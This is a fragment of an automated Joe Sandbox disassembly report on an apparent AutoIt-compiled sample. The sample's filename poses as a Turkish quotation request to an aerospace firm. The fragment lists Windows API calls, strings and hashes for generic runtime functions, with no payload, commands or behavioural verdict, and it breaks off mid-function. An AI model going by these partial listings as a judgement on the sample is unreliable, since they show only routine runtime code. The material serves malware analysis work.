SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 01028EB4
DrawMenuBar.USER32(?), ref: 01028EC3
SetWindowTextW.USER32(?,0000014E), ref: 01028EEB

Strings

0, xrefs: 01028E55

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: f3c7ec7154795dc4a1c94bb4734c95080c75c50664b77c646ffe24668af3c169
Instruction ID: 19bf7332b0a513839897bd9dd29cee1c497136eae1b231340ff98102ea00f29b
Opcode Fuzzy Hash: f3c7ec7154795dc4a1c94bb4734c95080c75c50664b77c646ffe24668af3c169
Instruction Fuzzy Hash: 1AE1C274900229AFEF609F64CC84EEE7BF9EF08750F10819AFA95AB191DB748584CF50

Function 0102488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 010249CA
GetDesktopWindow.USER32 ref: 010249DF
GetWindowRect.USER32(00000000), ref: 010249E6
GetWindowLongW.USER32(?,000000F0), ref: 01024A48
DestroyWindow.USER32(?), ref: 01024A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 01024A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 01024ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 01024AE1
SendMessageW.USER32(?,00000421,?,?), ref: 01024AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 01024B09
IsWindowVisible.USER32(?), ref: 01024B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 01024B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 01024B58
GetWindowRect.USER32(?,?), ref: 01024B70
MonitorFromPoint.USER32(?,?,00000002), ref: 01024B96
GetMonitorInfoW.USER32(00000000,?), ref: 01024BB0
CopyRect.USER32(?,?), ref: 01024BC7
SendMessageW.USER32(?,00000412,00000000), ref: 01024C32

Strings

(, xrefs: 01024BA3
0, xrefs: 01024975
tooltips_class32, xrefs: 01024A96

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 06e553bd8d9aa1a5f16c046b5de1ea0c7a38331c628b926e1d98f439314b4fad
Instruction ID: e112900584e1e8d54598f36910ef1a78a4725ce1726e8229aa915d8461d6acff
Opcode Fuzzy Hash: 06e553bd8d9aa1a5f16c046b5de1ea0c7a38331c628b926e1d98f439314b4fad
Instruction Fuzzy Hash: 19B1A970608351AFDB54DF68C888B6ABBE4FF89310F008A1CF9D99B291D775E805CB95

Function 0100449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 010044AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 010044D2
_wcscpy.LIBCMT ref: 01004500
_wcscmp.LIBCMT ref: 0100450B
_wcscat.LIBCMT ref: 01004521
_wcsstr.LIBCMT ref: 0100452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 01004548
_wcscat.LIBCMT ref: 01004591
_wcscat.LIBCMT ref: 01004598
_wcsncpy.LIBCMT ref: 010045C3

Strings

StringFileInfo\, xrefs: 0100451B
DefaultLangCodepage, xrefs: 010045AB
04090000, xrefs: 0100457E
%u.%u.%u.%u, xrefs: 01004626
\VarFileInfo\Translation, xrefs: 01004540

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 1398c7e66f9e829a5746907df8e88d0443689f940e68ff53fc28750835dc0d44
Instruction ID: c41b25f83a64257a76bd3c2a1e7819175bfb5f0ae39f4196262be43704a11a5b
Opcode Fuzzy Hash: 1398c7e66f9e829a5746907df8e88d0443689f940e68ff53fc28750835dc0d44
Instruction Fuzzy Hash: 3F412871940202BAEB11AA75CD03FBF77BCDF45750F04445EFA41E6182EF39AA01A6A9

Function 00FA27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00FA28BC
GetSystemMetrics.USER32(00000007), ref: 00FA28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00FA28EF
GetSystemMetrics.USER32(00000008), ref: 00FA28F7
GetSystemMetrics.USER32(00000004), ref: 00FA291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00FA2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00FA2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00FA297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00FA2990
GetClientRect.USER32(00000000,000000FF), ref: 00FA29AE
GetStockObject.GDI32(00000011), ref: 00FA29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00FA29D5

Part of subcall function 00FA2344: GetCursorPos.USER32(?), ref: 00FA2357
Part of subcall function 00FA2344: ScreenToClient.USER32(010657B0,?), ref: 00FA2374
Part of subcall function 00FA2344: GetAsyncKeyState.USER32(00000001), ref: 00FA2399
Part of subcall function 00FA2344: GetAsyncKeyState.USER32(00000002), ref: 00FA23A7

SetTimer.USER32(00000000,00000000,00000028,00FA1256), ref: 00FA29FC

Strings

AutoIt v3 GUI, xrefs: 00FA2974

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 3fb88579afb83c65c6d4e0023a3434cac66463c7076f0d0b9e446334f7253e0a
Instruction ID: 844bb4d1f33365299abaa2bf2cff98980047e73a52773a858566ca88371e1f4d
Opcode Fuzzy Hash: 3fb88579afb83c65c6d4e0023a3434cac66463c7076f0d0b9e446334f7253e0a
Instruction Fuzzy Hash: 32B19F71A0020AEFDB24DFA8DC45BAE7BB5FB08350F10422AFA55E7294DB79D841DB50

Function 00FFA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FFA47A
__swprintf.LIBCMT ref: 00FFA51B
_wcscmp.LIBCMT ref: 00FFA52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00FFA583
_wcscmp.LIBCMT ref: 00FFA5BF
GetClassNameW.USER32(?,?,00000400), ref: 00FFA5F6
GetDlgCtrlID.USER32(?), ref: 00FFA648
GetWindowRect.USER32(?,?), ref: 00FFA67E
GetParent.USER32(?), ref: 00FFA69C
ScreenToClient.USER32(00000000), ref: 00FFA6A3
GetClassNameW.USER32(?,?,00000100), ref: 00FFA71D
_wcscmp.LIBCMT ref: 00FFA731
GetWindowTextW.USER32(?,?,00000400), ref: 00FFA757
_wcscmp.LIBCMT ref: 00FFA76B

Part of subcall function 00FC362C: _iswctype.LIBCMT ref: 00FC3634

Strings

%s%u, xrefs: 00FFA515

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 52fa2ac9b81ce8be7387d1b4b40a9f41c3689810078a706af5a0c70ee76b8832
Instruction ID: 334840f84904656b8323df249f60a2a5fa7110335cbb34aa756d06357b343ec6
Opcode Fuzzy Hash: 52fa2ac9b81ce8be7387d1b4b40a9f41c3689810078a706af5a0c70ee76b8832
Instruction Fuzzy Hash: 14A1D3B260430BABD714EF60C884FBAB7E8FF44354F148519EA9DD2160DB34E945DB92

Function 00FFAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00FFAF18
_wcscmp.LIBCMT ref: 00FFAF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 00FFAF51
CharUpperBuffW.USER32(?,00000000), ref: 00FFAF6E
_wcscmp.LIBCMT ref: 00FFAF8C
_wcsstr.LIBCMT ref: 00FFAF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00FFAFD5
_wcscmp.LIBCMT ref: 00FFAFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 00FFB00C
GetClassNameW.USER32(00000018,?,00000400), ref: 00FFB055
_wcscmp.LIBCMT ref: 00FFB065
GetClassNameW.USER32(00000010,?,00000400), ref: 00FFB08D
GetWindowRect.USER32(00000004,?), ref: 00FFB0F6

Strings

@, xrefs: 00FFAEF9
ThumbnailClass, xrefs: 00FFAFE0, 00FFB060

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 06b6c0cc6f177da2ae4b301239a17c9133e7bf4f2e07b8a2acb20cdc39cd185f
Instruction ID: 6cf4e9a3cc198a3ad7b8629fa11373839c71db32af288262981aff68e5582b20
Opcode Fuzzy Hash: 06b6c0cc6f177da2ae4b301239a17c9133e7bf4f2e07b8a2acb20cdc39cd185f
Instruction Fuzzy Hash: 1881C1B140830A9BDB14DF10C885FBA77E8EF44764F148469FE898A0A5DB34DD49EB61

Function 00FFABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FFAC33

Strings

HANDLE=, xrefs: 00FFAC2C
[ALL, xrefs: 00FFACD9
[REGEXPTITLE:, xrefs: 00FFAC5B
CLASSNAME=, xrefs: 00FFAC70
[ACTIVE, xrefs: 00FFAC20
ALL, xrefs: 00FFACC7
ACTIVE, xrefs: 00FFAC0E
[CLASS:, xrefs: 00FFAC83
LAST, xrefs: 00FFABF8
REGEXP=, xrefs: 00FFAC48
[LAST, xrefs: 00FFACE0
[HANDLE:, xrefs: 00FFAC3F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 5c6d49f246ff18497b83bf369e41f092fcce9be400f3167ffb00859e5aa14c12
Instruction ID: ea5ce1e509f04e586d2a5867b075fbfb7dd4380f7a6b792a2c81cb1d61841b3b
Opcode Fuzzy Hash: 5c6d49f246ff18497b83bf369e41f092fcce9be400f3167ffb00859e5aa14c12
Instruction Fuzzy Hash: 2E31B0B1A44209A6DB14FBA1DE43FBF77A4AF10760FA0001CB945750A5EB55AF04F652

Function 01014FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 01015013
LoadCursorW.USER32(00000000,00007F00), ref: 0101501E
LoadCursorW.USER32(00000000,00007F03), ref: 01015029
LoadCursorW.USER32(00000000,00007F8B), ref: 01015034
LoadCursorW.USER32(00000000,00007F01), ref: 0101503F
LoadCursorW.USER32(00000000,00007F81), ref: 0101504A
LoadCursorW.USER32(00000000,00007F88), ref: 01015055
LoadCursorW.USER32(00000000,00007F80), ref: 01015060
LoadCursorW.USER32(00000000,00007F86), ref: 0101506B
LoadCursorW.USER32(00000000,00007F83), ref: 01015076
LoadCursorW.USER32(00000000,00007F85), ref: 01015081
LoadCursorW.USER32(00000000,00007F82), ref: 0101508C
LoadCursorW.USER32(00000000,00007F84), ref: 01015097
LoadCursorW.USER32(00000000,00007F04), ref: 010150A2
LoadCursorW.USER32(00000000,00007F02), ref: 010150AD
LoadCursorW.USER32(00000000,00007F89), ref: 010150B8
GetCursorInfo.USER32(?), ref: 010150C8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 94ad3259e1a5960903b6722f96a6369b9a079f3dab330a53e98b264e025c61f4
Instruction ID: 951fc081ab20b3c37b8779f8a312764ae4b813816e1a4847adb432471f87efd9
Opcode Fuzzy Hash: 94ad3259e1a5960903b6722f96a6369b9a079f3dab330a53e98b264e025c61f4
Instruction Fuzzy Hash: 393115B1D0831A6ADF609FBA8C8985EBFF8FF04750F50452AE54CEB280DA7C65008F91

Function 0102A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0102A259
DestroyWindow.USER32(?,?), ref: 0102A2D3

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0102A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0102A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0102A382
DestroyWindow.USER32(00000000), ref: 0102A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00FA0000,00000000), ref: 0102A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0102A3F4
GetDesktopWindow.USER32 ref: 0102A40D
GetWindowRect.USER32(00000000), ref: 0102A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0102A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0102A444

Part of subcall function 00FA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00FA25EC

Strings

0, xrefs: 0102A26F
tooltips_class32, xrefs: 0102A346, 0102A3D4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: e75d99244ff5132b43fed6b3a19ff8a17432e76481b61141b629ddef1484b5cf
Instruction ID: 6c49d2afdca8d2be619a202bdf88c52bdc4ba47e8a2fa490ef89000a1056db08
Opcode Fuzzy Hash: e75d99244ff5132b43fed6b3a19ff8a17432e76481b61141b629ddef1484b5cf
Instruction Fuzzy Hash: E6719A75240205AFE721CF28CC49F6A7BE5FB89740F04455CFAC5976A0CB79E906CB62

Function 0102C5FE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

DragQueryPoint.SHELL32(?,?), ref: 0102C627

Part of subcall function 0102AB37: ClientToScreen.USER32(?,?), ref: 0102AB60
Part of subcall function 0102AB37: GetWindowRect.USER32(?,?), ref: 0102ABD6
Part of subcall function 0102AB37: PtInRect.USER32(?,?,0102C014), ref: 0102ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0102C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0102C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0102C6BE
_wcscat.LIBCMT ref: 0102C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0102C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0102C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0102C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0102C757
DragFinish.SHELL32(?), ref: 0102C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0102C851

Strings

@GUI_DRAGID, xrefs: 0102C7C9
@GUI_DRAGFILE, xrefs: 0102C800
@GUI_DROPID, xrefs: 0102C77E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 905ad42e031f711aff6e761eb653bafcb7fea7ed78091f7bcc612093ee68620b
Instruction ID: bbf90f7753c11733a0ba7c42b59dbc002f193c2d3b3863138e8607b5aa94773f
Opcode Fuzzy Hash: 905ad42e031f711aff6e761eb653bafcb7fea7ed78091f7bcc612093ee68620b
Instruction Fuzzy Hash: AA618971108301AFC721EF64CD89DAFBBF8EF89790F40091EF591961A1DB75AA09CB52

Function 01007D1A Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 01007D5F
VariantCopy.OLEAUT32(00000000,?), ref: 01007D68
VariantClear.OLEAUT32(00000000), ref: 01007D74
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 01007E62
__swprintf.LIBCMT ref: 01007E92
VarR8FromDec.OLEAUT32(?,?), ref: 01007EBE
VariantInit.OLEAUT32(?), ref: 01007F6F
SysFreeString.OLEAUT32(00000016), ref: 01008003
VariantClear.OLEAUT32(?), ref: 0100805D
VariantClear.OLEAUT32(?), ref: 0100806C
VariantInit.OLEAUT32(00000000), ref: 010080AA

Strings

Default, xrefs: 01007F1F
%4d%02d%02d%02d%02d%02d, xrefs: 01007E8C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: a12015d819c61eba3dfcc2ad2443f4c9263df296cdb3477f965041b215e6e9f1
Instruction ID: 5f548e299a20e85432d15b954f98158a2e76a48fd5996325dd75f14e13446be8
Opcode Fuzzy Hash: a12015d819c61eba3dfcc2ad2443f4c9263df296cdb3477f965041b215e6e9f1
Instruction Fuzzy Hash: DCD1E571A00616EBEB62EF65D844BBEB7B4BF05300F10845AE5C59B2C4CF79B850CBA1

Function 01024392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 01024424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0102446F

Strings

CHECK, xrefs: 0102448F
EXPAND, xrefs: 01024521
EXISTS, xrefs: 010244D8
GETITEMCOUNT, xrefs: 01024551
UNCHECK, xrefs: 0102464B
GETSELECTED, xrefs: 0102457F
GETTOTALCOUNT, xrefs: 01024456
COLLAPSE, xrefs: 010244B5
ISCHECKED, xrefs: 010245F2
GETTEXT, xrefs: 010245C2
SELECT, xrefs: 01024620

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: b950b68c7f07e162fc809a218b0f94b1c5b1582398a0d9e7f1c8b4c88d6fe4a0
Instruction ID: 6eb81fafaeff192eb595c75e87c44eaa761bbe4969cde4d81dfb57065fe82c38
Opcode Fuzzy Hash: b950b68c7f07e162fc809a218b0f94b1c5b1582398a0d9e7f1c8b4c88d6fe4a0
Instruction Fuzzy Hash: 97918D70208311DBCB14EF14C851A6EB7E1AF95354F44486CF8D69B3A2CB79ED0ADB81

Function 0102B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0102B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,010291C2), ref: 0102B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0102B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0102B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0102B9C3
